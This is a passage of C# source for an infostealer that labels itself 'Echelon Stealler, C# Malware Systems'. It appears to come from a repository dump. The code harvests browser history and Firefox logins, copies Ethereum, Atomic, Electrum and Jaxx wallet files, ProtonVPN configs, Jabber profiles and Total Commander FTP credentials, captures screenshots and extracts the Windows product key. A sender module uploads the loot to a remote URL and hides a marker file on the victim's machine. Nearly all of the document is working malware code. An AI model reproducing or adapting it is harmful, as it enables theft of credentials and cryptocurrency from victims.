Help.LocalData }; var APD = new List<string>(); foreach (var paths in BrPaths) { try { APD.AddRange(Directory.GetDirectories(paths)); } catch { } } foreach (var path in APD) { string result = ""; string[] files = null; try { Browsers.AddRange(Directory.GetFiles(path, "History", SearchOption.AllDirectories)); files = Directory.GetFiles(path, "History", SearchOption.AllDirectories); } catch { } if (files != null) { foreach (var file in files) { try { if (File.Exists(file)) { string str = "Unknown"; foreach (string name in BrowsersName) { if (path.Contains(name)) { str = name; } } string loginData = file; if (File.Exists(bd)) File.Delete(bd); File.Copy(loginData, bd); SqlHandler sqlHandler = new SqlHandler(bd); List<PassData> passDataList = new List<PassData>(); sqlHandler.ReadTable("urls"); int rowCount = sqlHandler.GetRowCount(); for (int rowNum = 0; rowNum < rowCount; ++rowNum) { try { string URL = sqlHandler.GetValue(rowNum, 1), Title = sqlHandler.GetValue(rowNum, 2); result += string.Format("\r\nTitle: {0}\r\nUrl: {1}", Title, URL); History++; } catch { } } if (File.Exists(bd)) File.Delete(bd); if (File.Exists(ls)) File.Delete(ls); if (str == "Unknown") { File.AppendAllText(path2save + "\\" + "History_" + str + ".txt", result, Encoding.Default); } else { File.WriteAllText(path2save + "\\" + "History_" + str + ".txt", result, Encoding.Default); } } } catch { } } } } } catch { } } #endregion } class PassData { public string Url { get; set; } public string Login { get; set; } public string Password { get; set; } } } <file_sep>/Stealer/Wallets/Ethereum.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System; using System.IO; namespace Echelon { class Ethereum { public static int count = 0; public static string EthereumDir = "\\Wallets\\Ethereum\\"; public static string EthereumDir2 = Help.AppDate + "\\Ethereum\\keystore"; public static void EcoinStr(string directorypath) { try { if (Directory.Exists(EthereumDir2)) { foreach (FileInfo file in new DirectoryInfo(EthereumDir2).GetFiles()) { Directory.CreateDirectory(directorypath + EthereumDir); file.CopyTo(directorypath + EthereumDir + file.Name); } count++; Wallets.count++; } else { return; } } catch { } } } } <file_sep>/Stealer/Browsers/Gecko/Gecko2.cs namespace Echelon { public enum Gecko2 { Sequence = 48, Integer = 2, BitString = 3, OctetString = 4, Null = 5, ObjectIdentifier = 6 } } <file_sep>/Stealer/Wallets/AtomicWallet.cs /////////////////////////////////////////////////////// //Echelon Stealler, C# Malware Systems by MadСod v1.4.2// /////////////////////////////////////////////////////// using System.IO; namespace Echelon { class AtomicWallet { public static int count = 0; //AtomicWallet, AtomicWallet 2.8.0 public static string atomDir = "\\Wallets\\Atomic\\Local Storage\\leveldb\\"; public static string atomDir2 = Help.AppDate + "\\atomic\\Local Storage\\leveldb\\"; public static void AtomicStr(string directorypath) // Works { try { if (Directory.Exists(atomDir2)) { foreach (FileInfo file in new DirectoryInfo(atomDir2).GetFiles()) { Directory.CreateDirectory(directorypath + atomDir); file.CopyTo(directorypath + atomDir + file.Name); } count++; Wallets.count++; } else { return; } } catch { } } } } <file_sep>/Stealer/Browsers/Helpers/SZ.cs namespace Echelon { public struct SZ { public long Size { get; set; } public long Type { get; set; } } } <file_sep>/Stealer/VPN/ProtonVPN.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Echelon { class ProtonVPN { public static int count = 0; public static void GetProtonVPN(string Echelon_Dir) { try { string dir = Help.LocalData + "\\ProtonVPN"; if (Directory.Exists(dir)) { string[] dirs = Directory.GetDirectories(dir + ""); Directory.CreateDirectory(Echelon_Dir + "\\Vpn\\ProtonVPN\\"); foreach (string d1rs in dirs) { if (d1rs.StartsWith(dir + "\\ProtonVPN" + "\\ProtonVPN.exe")) { string dirName = new DirectoryInfo(d1rs).Name; string[] d1 = Directory.GetDirectories(d1rs); Directory.CreateDirectory(Echelon_Dir + "\\Vpn\\ProtonVPN\\" + dirName + "\\" + new DirectoryInfo(d1[0]).Name); File.Copy(d1[0] + "\\user.config", Echelon_Dir + "\\Vpn\\ProtonVPN\\" + dirName + "\\" + new DirectoryInfo(d1[0]).Name + "\\user.config"); count++; } } } else { return; } } catch {} } } } <file_sep>/Stealer/Jabber/Psi.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System.IO; namespace Echelon { class Psi { public static string dir = Help.AppDate + "\\Psi+\\profiles\\default\\"; public static string dir2 = Help.AppDate + "\\Psi\\profiles\\default\\"; public static void Start(string directorypath) // Works { try { if (Directory.Exists(dir)) { foreach (FileInfo file in new DirectoryInfo(dir).GetFiles()) { Directory.CreateDirectory(directorypath + "\\Jabber\\Psi+\\profiles\\default\\"); file.CopyTo(directorypath + "\\Jabber\\Psi+\\profiles\\default\\" + file.Name); } Startjabbers.count++; } else { return; } } catch { } try { if (Directory.Exists(dir2)) { foreach (FileInfo file in new DirectoryInfo(dir2).GetFiles()) { Directory.CreateDirectory(directorypath + "\\Jabber\\Psi\\profiles\\default\\"); file.CopyTo(directorypath + "\\Jabber\\Psi\\profiles\\default\\" + file.Name); } Startjabbers.count++; } else { return; } } catch { } } } } <file_sep>/Stealer/Browsers/Gecko/Gecko6.cs using System.Security.Cryptography; using System.Text; namespace Echelon { public static class Gecko6 { public static string lTRjlt(byte[] key, byte[] iv, byte[] input, PaddingMode paddingMode = PaddingMode.None) { using (TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider()) { tripleDESCryptoServiceProvider.Key = key; tripleDESCryptoServiceProvider.IV = iv; tripleDESCryptoServiceProvider.Mode = CipherMode.CBC; tripleDESCryptoServiceProvider.Padding = paddingMode; using (ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor(key, iv)) { return Encoding.Default.GetString(cryptoTransform.TransformFinalBlock(input, 0, input.Length)); } } } } } <file_sep>/Stealer/FTP/TotalCommander.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System.IO; namespace Echelon { class TotalCommander { public static int count = 0; public static void GetTotalCommander(string Echelon_Dir) { try { string text2 = Help.AppDate + "\\GHISLER\\"; if (Directory.Exists(text2)) { Directory.CreateDirectory(Echelon_Dir + "\\FTP\\Total Commander"); } FileInfo[] files = new DirectoryInfo(text2).GetFiles(); for (int i = 0; i < files.Length; i++) { if (files[i].Name.Contains("wcx_ftp.ini")) { File.Copy(text2 + "wcx_ftp.ini", Echelon_Dir + "\\FTP\\Total Commander\\wcx_ftp.ini"); count++; } } } catch {} } } } <file_sep>/Stealer/Browsers/Gecko/Gecko3.cs namespace Echelon { public class Gecko3 { public int nextId { get; set; } public Gecko5[] logins { get; set; } public object[] disabledHosts { get; set; } public int version { get; set; } } } <file_sep>/Stealer/Browsers/Helpers/CNT.cs using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using System; using System.IO; using System.Text; namespace Echelon { public class CNT { private byte[] DataArray { get; } private ulong DataEncoding { get; } public string[] Fields { get; set; } public int RowLength => SqlRows.Length; private ushort PageSize { get; } private FF[] DataEntries { get; set; } private ROW[] SqlRows { get; set; } private byte[] SQLDataTypeSize { get; } public CNT(string baseName) { SQLDataTypeSize = new byte[10] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 }; if (File.Exists(baseName)) { FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); string Value = Strings.Space((int)FileSystem.LOF(1)); FileSystem.FileGet(1, ref Value, -1L); FileSystem.FileClose(1); DataArray = Encoding.Default.GetBytes(Value); PageSize = (ushort)ToUInt64(16, 2); DataEncoding = ToUInt64(56, 4); if (decimal.Compare(new decimal(DataEncoding), decimal.Zero) == 0) { DataEncoding = 1uL; } ReadDataEntries(100uL); } } public string[] ParseTables() { string[] array = null; int num = 0; int num2 = DataEntries.Length - 1; for (int i = 0; i <= num2; i++) { if (DataEntries[i].Type == "table") { array = (string[])Utils.CopyArray(array, new string[num + 1]); array[num] = DataEntries[i].Name; num++; } } return array; } public string ParseValue(int rowIndex, int fieldIndex) { if (rowIndex >= SqlRows.Length) { return null; } if (fieldIndex >= SqlRows[rowIndex].RowData.Length) { return null; } return SqlRows[rowIndex].RowData[fieldIndex]; } public string ParseValue(int rowIndex, string fieldName) { int num = -1; int num2 = Fields.Length - 1; for (int i = 0; i <= num2; i++) { if (Fields[i].ToLower().Trim().CompareTo(fieldName.ToLower().Trim()) == 0) { num = i; break; } } if (num == -1) { return null; } return ParseValue(rowIndex, num); } public bool ReadTable(string tableName) { int num = -1; int num2 = DataEntries.Length - 1; for (int i = 0; i <= num2; i++) { if (DataEntries[i].Name.ToLower().CompareTo(tableName.ToLower()) == 0) { num = i; break; } } if (num == -1) { return false; } string[] array = DataEntries[num].SqlStatement.Substring(DataEntries[num].SqlStatement.IndexOf("(") + 1).Split(','); int num3 = array.Length - 1; for (int j = 0; j <= num3; j++) { array[j] = array[j].TrimStart(); int num4 = array[j].IndexOf(" "); if (num4 > 0) { array[j] = array[j].Substring(0, num4); } if (array[j].IndexOf("UNIQUE") == 0) { break; } Fields = (string[])Utils.CopyArray(Fields, new string[j + 1]); Fields[j] = array[j]; } return ReadDataEntriesFromOffsets((ulong)((DataEntries[num].RootNum - 1) * PageSize)); } private ulong ToUInt64(int startIndex, int Size) { if (Size > 8 || Size == 0) { return 0uL; } ulong num = 0uL; for (int i = 0; i <= Size - 1; i++) { num = ((num << 8) | DataArray[startIndex + i]); } return num; } private long CalcVertical(int startIndex, int endIndex) { endIndex++; byte[] array = new byte[8]; int num = endIndex - startIndex; bool flag = false; if ((num == 0) | (num > 9)) { return 0L; } switch (num) { case 1: array[0] = (byte)(DataArray[startIndex] & 0x7F); return BitConverter.ToInt64(array, 0); case 9: flag = true; break; } int num2 = 1; int num3 = 7; int num4 = 0; if (flag) { array[0] = DataArray[endIndex - 1]; endIndex--; num4 = 1; } for (int i = endIndex - 1; i >= startIndex; i += -1) { if (i - 1 >= startIndex) { array[num4] = (byte)(((byte)(DataArray[i] >> ((num2 - 1) & 7)) & (255 >> num2)) | (byte)(DataArray[i - 1] << (num3 & 7))); num2++; num4++; num3--; } else if (!flag) { array[num4] = (byte)((byte)(DataArray[i] >> ((num2 - 1) & 7)) & (255 >> num2)); } } return BitConverter.ToInt64(array, 0); } private int GetValues(int startIndex) { if (startIndex > DataArray.Length) { return 0; } int num = startIndex + 8; for (int i = startIndex; i <= num; i++) { if (i > DataArray.Length - 1) { return 0; } if ((DataArray[i] & 0x80) != 128) { return i; } } return startIndex + 8; } public static bool ItIsOdd(long value) { return (value & 1) == 1; } private void ReadDataEntries(ulong Offset) { if (DataArray[(uint)Offset] == 13) { ushort num = (ToUInt64((Offset.ForceTo<decimal>() + 3m).ForceTo<int>(), 2).ForceTo<decimal>() - decimal.One).ForceTo<ushort>(); int num2 = 0; if (DataEntries != null) { num2 = DataEntries.Length; DataEntries = (FF[])Utils.CopyArray(DataEntries, new FF[DataEntries.Length + num + 1]); } else { DataEntries = new FF[num + 1]; } int num3 = num; for (int i = 0; i <= num3; i++) { ulong num4 = ToUInt64((Offset.ForceTo<decimal>() + 8m + (i * 2).ForceTo<decimal>()).ForceTo<int>(), 2); if (decimal.Compare(Offset.ForceTo<decimal>(), 100m) != 0) { num4 += Offset; } int values = GetValues(num4.ForceTo<int>()); CalcVertical(num4.ForceTo<int>(), values); int values2 = GetValues((num4.ForceTo<decimal>() + values.ForceTo<decimal>() - num4.ForceTo<decimal>() + decimal.One).ForceTo<int>()); DataEntries[num2 + i].ID = CalcVertical((num4.ForceTo<decimal>() + values.ForceTo<decimal>() - num4.ForceTo<decimal>() + decimal.One).ForceTo<int>(), values2); num4 = (num4.ForceTo<decimal>() + values2.ForceTo<decimal>() - num4.ForceTo<decimal>() + decimal.One).ForceTo<ulong>(); values = GetValues(num4.ForceTo<int>()); values2 = values; long value = CalcVertical(num4.ForceTo<int>(), values); long[] array = new long[5]; int num5 = 0; do { values = values2 + 1; values2 = GetValues(values); array[num5] = CalcVertical(values, values2); if (array[num5] > 9) { if (ItIsOdd(array[num5])) { array[num5] = (long)Math.Round((double)(array[num5] - 13) / 2.0); } else { array[num5] = (long)Math.Round((double)(array[num5] - 12) / 2.0); } } else { array[num5] = SQLDataTypeSize[(int)array[num5]]; } num5++; } while (num5 <= 4); Encoding encoding = Encoding.Default; decimal value2 = DataEncoding.ForceTo<decimal>(); if (!decimal.One.Equals(value2)) { if (!2m.Equals(value2)) { if (3m.Equals(value2)) { encoding = Encoding.BigEndianUnicode; } } else { encoding = Encoding.Unicode; } } else { encoding = Encoding.Default; } DataEntries[num2 + i].Type = encoding.GetString(DataArray, Convert.ToInt32(decimal.Add(new decimal(num4), new decimal(value))), (int)array[0]); DataEntries[num2 + i].Name = encoding.GetString(DataArray, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(value)), new decimal(array[0]))), (int)array[1]); DataEntries[num2 + i].RootNum = (long)ToUInt64(Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num4), new decimal(value)), new decimal(array[0])), new decimal(array[1])), new decimal(array[2]))), (int)array[3]); DataEntries[num2 + i].SqlStatement = encoding.GetString(DataArray, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num4), new decimal(value)), new decimal(array[0])), new decimal(array[1])), new decimal(array[2])), new decimal(array[3]))), (int)array[4]); } } else { if (DataArray[(uint)Offset] != 5) { return; } int num6 = Convert.ToUInt16(decimal.Subtract(new decimal(ToUInt64(Convert.ToInt32(decimal.Add(new decimal(Offset), 3m)), 2)), decimal.One)); for (int j = 0; j <= num6; j++) { ushort num7 = (ushort)ToUInt64(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12m), new decimal(j * 2))), 2); if (decimal.Compare(new decimal(Offset), 100m) == 0) { ReadDataEntries(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ToUInt64(num7, 4)), decimal.One), new decimal(PageSize)))); } else { ReadDataEntries(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ToUInt64((int)(Offset + num7), 4)), decimal.One), new decimal(PageSize)))); } } ReadDataEntries(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ToUInt64(Convert.ToInt32(decimal.Add(new decimal(Offset), 8m)), 4)), decimal.One), new decimal(PageSize)))); } } private bool ReadDataEntriesFromOffsets(ulong Offset) { if (DataArray[(uint)Offset] == 13) { int num = Convert.ToInt32(decimal.Subtract(new decimal(ToUInt64(Convert.ToInt32(decimal.Add(new decimal(Offset), 3m)), 2)), decimal.One)); int num2 = 0; if (SqlRows != null) { num2 = SqlRows.Length; SqlRows = (ROW[])Utils.CopyArray(SqlRows, new ROW[SqlRows.Length + num + 1]); } else { SqlRows = new ROW[num + 1]; } int num3 = num; for (int i = 0; i <= num3; i++) { SZ[] array = null; ulong num4 = ToUInt64(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8m), new decimal(i * 2))), 2); if (decimal.Compare(new decimal(Offset), 100m) != 0) { num4 += Offset; } int values = GetValues((int)num4); CalcVertical((int)num4, values); int values2 = GetValues(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), decimal.Subtract(new decimal(values), new decimal(num4))), decimal.One))); SqlRows[num2 + i].ID = CalcVertical(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), decimal.Subtract(new decimal(values), new decimal(num4))), decimal.One)), values2); num4 = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num4), decimal.Subtract(new decimal(values2), new decimal(num4))), decimal.One)); values = GetValues((int)num4); values2 = values; long num5 = CalcVertical((int)num4, values); long num6 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num4), new decimal(values)), decimal.One)); int num7 = 0; while (num6 < num5) { array = (SZ[])Utils.CopyArray(array, new SZ[num7 + 1]); values = values2 + 1; values2 = GetValues(values); array[num7].Type = CalcVertical(values, values2); if (array[num7].Type > 9) { if (ItIsOdd(array[num7].Type)) { array[num7].Size = (long)Math.Round((double)(array[num7].Type - 13) / 2.0); } else { array[num7].Size = (long)Math.Round((double)(array[num7].Type - 12) / 2.0); } } else { array[num7].Size = SQLDataTypeSize[(int)array[num7].Type]; } num6 = num6 + (values2 - values) + 1; num7++; } SqlRows[num2 + i].RowData = new string[array.Length - 1 + 1]; int num8 = 0; int num9 = array.Length - 1; for (int j = 0; j <= num9; j++) { if (array[j].Type > 9) { if (!ItIsOdd(array[j].Type)) { if (decimal.Compare(new decimal(DataEncoding), decimal.One) == 0) { SqlRows[num2 + i].RowData[j] = Encoding.Default.GetString(DataArray, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num5)), new decimal(num8))), (int)array[j].Size); } else if (decimal.Compare(new decimal(DataEncoding), 2m) == 0) { SqlRows[num2 + i].RowData[j] = Encoding.Unicode.GetString(DataArray, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num5)), new decimal(num8))), (int)array[j].Size); } else if (decimal.Compare(new decimal(DataEncoding), 3m) == 0) { SqlRows[num2 + i].RowData[j] = Encoding.BigEndianUnicode.GetString(DataArray, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num5)), new decimal(num8))), (int)array[j].Size); } } else { SqlRows[num2 + i].RowData[j] = Encoding.Default.GetString(DataArray, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num5)), new decimal(num8))), (int)array[j].Size); } } else { SqlRows[num2 + i].RowData[j] = Convert.ToString(ToUInt64(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num5)), new decimal(num8))), (int)array[j].Size)); } num8 += (int)array[j].Size; } } } else if (DataArray[(uint)Offset] == 5) { int num10 = Convert.ToUInt16(decimal.Subtract(new decimal(ToUInt64(Convert.ToInt32(decimal.Add(new decimal(Offset), 3m)), 2)), decimal.One)); for (int k = 0; k <= num10; k++) { ushort num11 = (ushort)ToUInt64(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12m), new decimal(k * 2))), 2); ReadDataEntriesFromOffsets(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ToUInt64((int)(Offset + num11), 4)), decimal.One), new decimal(PageSize)))); } ReadDataEntriesFromOffsets(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ToUInt64(Convert.ToInt32(decimal.Add(new decimal(Offset), 8m)), 4)), decimal.One), new decimal(PageSize)))); } return true; } } } <file_sep>/Stealer/Browsers/Gecko/Gecko8.cs using System; using System.Security.Cryptography; namespace Echelon { public class Gecko8 { private byte[] _globalSalt { get; } private byte[] _masterPassword { get; } private byte[] _entrySalt { get; } public byte[] DataKey { get; private set; } public byte[] DataIV { get; private set; } public Gecko8(byte[] salt, byte[] password, byte[] entry) { _globalSalt = salt; _masterPassword = <PASSWORD>; _entrySalt = entry; } public void го7па() { SHA1CryptoServiceProvider sHA1CryptoServiceProvider = new SHA1CryptoServiceProvider(); byte[] array = new byte[_globalSalt.Length + _masterPassword.Length]; Array.Copy(_globalSalt, 0, array, 0, _globalSalt.Length); Array.Copy(_masterPassword, 0, array, _globalSalt.Length, _masterPassword.Length); byte[] array2 = sHA1CryptoServiceProvider.ComputeHash(array); byte[] array3 = new byte[array2.Length + _entrySalt.Length]; Array.Copy(array2, 0, array3, 0, array2.Length); Array.Copy(_entrySalt, 0, array3, array2.Length, _entrySalt.Length); byte[] key = sHA1CryptoServiceProvider.ComputeHash(array3); byte[] array4 = new byte[20]; Array.Copy(_entrySalt, 0, array4, 0, _entrySalt.Length); for (int i = _entrySalt.Length; i < 20; i++) { array4[i] = 0; } byte[] array5 = new byte[array4.Length + _entrySalt.Length]; Array.Copy(array4, 0, array5, 0, array4.Length); Array.Copy(_entrySalt, 0, array5, array4.Length, _entrySalt.Length); byte[] array6; byte[] array9; using (HMACSHA1 hMACSHA = new HMACSHA1(key)) { array6 = hMACSHA.ComputeHash(array5); byte[] array7 = hMACSHA.ComputeHash(array4); byte[] array8 = new byte[array7.Length + _entrySalt.Length]; Array.Copy(array7, 0, array8, 0, array7.Length); Array.Copy(_entrySalt, 0, array8, array7.Length, _entrySalt.Length); array9 = hMACSHA.ComputeHash(array8); } byte[] array10 = new byte[array6.Length + array9.Length]; Array.Copy(array6, 0, array10, 0, array6.Length); Array.Copy(array9, 0, array10, array6.Length, array9.Length); DataKey = new byte[24]; for (int j = 0; j < DataKey.Length; j++) { DataKey[j] = array10[j]; } DataIV = new byte[8]; int num = DataIV.Length - 1; for (int num2 = array10.Length - 1; num2 >= array10.Length - DataIV.Length; num2--) { DataIV[num] = array10[num2]; num--; } } } } <file_sep>/Global/SenderAPI.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Linq.Expressions; using System.Net; using System.Text; using System.Text.RegularExpressions; using System.Threading; using System.Threading.Tasks; namespace System.Net { using System.Security.Authentication; public static class SecurityProtocolTypeExtensions { public const SecurityProtocolType Tls12 = (SecurityProtocolType)SslProtocolsExtensions.Tls12; public const SecurityProtocolType Tls11 = (SecurityProtocolType)SslProtocolsExtensions.Tls11; public const SecurityProtocolType SystemDefault = (SecurityProtocolType)0; } } namespace System.Security.Authentication { public static class SslProtocolsExtensions { public const SslProtocols Tls12 = (SslProtocols)0x00000C00; public const SslProtocols Tls11 = (SslProtocols)0x00000300; } } namespace Echelon { public class SenderAPI { public static void POST(byte[] file, string filename, string contentType, string url) { try { try { ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls | SecurityProtocolTypeExtensions.Tls11 | SecurityProtocolTypeExtensions.Tls12; WebClient webClient = new WebClient { Proxy = null //Не используем }; string text = "------------------------" + DateTime.Now.Ticks.ToString("x"); webClient.Headers.Add("Content-Type", "multipart/form-data; boundary=" + text); string @string = webClient.Encoding.GetString(file); string s = string.Format("--{0}\r\nContent-Disposition: form-data; name=\"document\"; filename=\"{1}\"\r\nContent-Type: {2}\r\n\r\n{3}\r\n--{0}--\r\n", new object[] { text, filename, contentType, @string }); byte[] bytes = webClient.Encoding.GetBytes(s); webClient.UploadData(url, "POST", bytes); //Записываем HWID в файл, означает что лог с данного ПК уже отправлялся и больше слать его не надо. File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID + Help.dateLog); //Скрываем File.SetAttributes(Help.LocalData + "\\" + Help.HWID, FileAttributes.Hidden | FileAttributes.System); } catch { ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls | SecurityProtocolTypeExtensions.Tls11 | SecurityProtocolTypeExtensions.Tls12; using (var webClient = new WebClient()) { string text = "------------------------" + DateTime.Now.Ticks.ToString("x"); webClient.Headers.Add("Content-Type", "multipart/form-data; boundary=" + text); string @string = webClient.Encoding.GetString(file); string s = string.Format("--{0}\r\nContent-Disposition: form-data; name=\"document\"; filename=\"{1}\"\r\nContent-Type: {2}\r\n\r\n{3}\r\n--{0}--\r\n", new object[] { text, filename, contentType, @string }); byte[] bytes = webClient.Encoding.GetBytes(s); var proxy = new WebProxy(Program.ip, Program.port) // IP Proxy { Credentials = new NetworkCredential(Program.login, Program.password) // Логин и пароль Proxy }; webClient.Proxy = proxy; webClient.UploadData(url, "POST", bytes); } //Записываем HWID в файл, означает что лог с данного ПК уже отправлялся и больше слать его не надо. File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID + Help.dateLog); //Скрываем File.SetAttributes(Help.LocalData + "\\" + Help.HWID, FileAttributes.Hidden | FileAttributes.System); } finally { // Проверка файла Help.HWID if (!File.Exists(Help.LocalData + "\\" + Help.HWID)) { // Снова запускаем стиллер Collection.GetCollection(); } else { // Файл Help.HWID есть, проверяем записанную в нем дату if (!File.ReadAllText(Help.LocalData + "\\" + Help.HWID).Contains(Help.HWID + Help.dateLog)) { // Дата в файле Help.HWID отличается от сегодняшней, запускаем стиллер Collection.GetCollection(); } else { } } } } catch { if (File.Exists(Help.LocalData + "\\" + Help.HWID)) { File.Delete(Help.LocalData + "\\" + Help.HWID); } else { return; } } return; } } } <file_sep>/Stealer/SystemsData/Screenshot.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Windows.Forms; namespace Echelon { class Screenshot { public static void GetScreenShot(string Echelon_Dir) { try { int width = Screen.PrimaryScreen.Bounds.Width; int height = Screen.PrimaryScreen.Bounds.Height; Bitmap bitmap = new Bitmap(width, height); Graphics.FromImage(bitmap).CopyFromScreen(0, 0, 0, 0, bitmap.Size); bitmap.Save(Echelon_Dir + $"\\ScreenShot_" + Help.dateLog + ".Jpeg", ImageFormat.Jpeg); } catch { } } } } <file_sep>/Stealer/Wallets/Electrum.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System.IO; namespace Echelon { class Electrum { public static int count = 0; public static string ElectrumDir = "\\Wallets\\Electrum\\"; public static string ElectrumDir2 = Help.AppDate + "\\Electrum\\wallets"; public static void EleStr(string directorypath) { try { if (Directory.Exists(ElectrumDir2)) { foreach (FileInfo file in new DirectoryInfo(ElectrumDir2).GetFiles()) { Directory.CreateDirectory(directorypath + ElectrumDir); file.CopyTo(directorypath + ElectrumDir + file.Name); } count++; Wallets.count++; } else { return; } } catch {} } } } <file_sep>/Stealer/Wallets/Jaxx.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System.IO; namespace Echelon { class Jaxx { public static int count = 0; public static string JaxxDir = "\\Wallets\\Jaxx\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\"; public static string JaxxDir2 = Help.AppDate + "\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\"; public static void JaxxStr(string directorypath) // Works { try { if (Directory.Exists(JaxxDir2)) { foreach (FileInfo file in new DirectoryInfo(JaxxDir2).GetFiles()) { Directory.CreateDirectory(directorypath + JaxxDir); file.CopyTo(directorypath + JaxxDir + file.Name); } count++; Wallets.count++; } else { return; } } catch {} } } } <file_sep>/Stealer/SystemsData/WinKey.cs using System; using System.Collections; using System.IO; using System.Security; using System.Security.Principal; using Microsoft.Win32; namespace Echelon { public static class Index { public enum KeyIndexWin : int { KEY_START_INDEX = 0x34, KEY_END_INDEX = KEY_START_INDEX + 0xF, DECODE_LENGTH = 0x1D, DECODE_STRING = 0xF } public enum Type { Sequence = 0x30, // 48 Integer = 0x02, BitString = 0x03, OctetString = 0x04, Null = 0x05, ObjectIdentifier = 0x06 } } class WinKey { public static string GetDecodeKey(byte[] DigitalProductID) { int DigitMapIndex = 0; var HexPid = new ArrayList(); for (int i = (int)Index.KeyIndexWin.KEY_START_INDEX; i <= (int)Index.KeyIndexWin.KEY_END_INDEX; i++) { HexPid.Add(DigitalProductID[i]); } char[] DecodedChars = new char[(int)Index.KeyIndexWin.DECODE_LENGTH]; for (int i = (int)Index.KeyIndexWin.DECODE_LENGTH - 1; i >= 0; i--) { if ((i + 1) % 0x6 != 0) { for (int j = (int)Index.KeyIndexWin.DECODE_STRING - 1; j >= 0; j--) { HexPid[j] = (byte)(((DigitMapIndex << 0b1000) | (byte)HexPid[j]) / 0x18); DigitMapIndex = ((DigitMapIndex << 0b1000) | (byte)HexPid[j]) % 0x18; char[] Digits = new[] { 'B', 'C', 'D', 'F', 'G', 'H', 'J', 'K', 'M', 'P', 'Q', 'R', 'T', 'V', 'W', 'X', 'Y', '2', '3', '4', '6', '7', '8', '9', }; DecodedChars[i] = Digits[DigitMapIndex]; } } else { DecodedChars[i] = '-'; } } return new string(DecodedChars); } public static string GetDecodeKeyWin8AndUp(byte[] DigitalProductId) { string Result_Key = string.Empty; int Current = 0; DigitalProductId[0x42] = (byte)((DigitalProductId[0x42] & 0xf7) | (((byte)((DigitalProductId[0x42] / 0x6) & 0x1) & 0x2) * 0x4)); for (int i = 0x18; i >= 0; i--) { for (int j = 0xE; j >= 0; j--) { Current *= 0x100; Current = DigitalProductId[j + 0x34] + Current; DigitalProductId[j + 0x34] = (byte)(Current / 0x18); Current %= 24; } } Result_Key = $"{"<KEY>"[Current]}{Result_Key}"; Result_Key = $"{Result_Key.Substring(1, 0)}N{Result_Key.Substring(0 + 1, Result_Key.Length - (0 + 1))}"; for (int i = 5; i < Result_Key.Length; i += 0x6) { Result_Key = Result_Key.Insert(i, "-"); } return Result_Key; } public static string GetWindowsKey(string Path, string GetID) { string result = string.Empty; RegistryHive registryHive = RunChecker.IsAdmin ? RegistryHive.LocalMachine : RegistryHive.CurrentUser; RegistryView registryView = RunChecker.IsWin64 ? RegistryView.Registry64 : RegistryView.Registry32; try { using (var hklmHive = RegistryKey.OpenBaseKey(registryHive, registryView)) using (RegistryKey Key = hklmHive.OpenSubKey(Path, RunChecker.IsWin64)) { result = (Environment.OSVersion.Version.Major != 0x6 || Environment.OSVersion.Version.Minor < 0x2) && Environment.OSVersion.Version.Major <= 0x6 ? GetDecodeKey((byte[])Key.GetValue(GetID)) : GetDecodeKeyWin8AndUp((byte[])Key.GetValue(GetID)); } } catch (Exception) { return 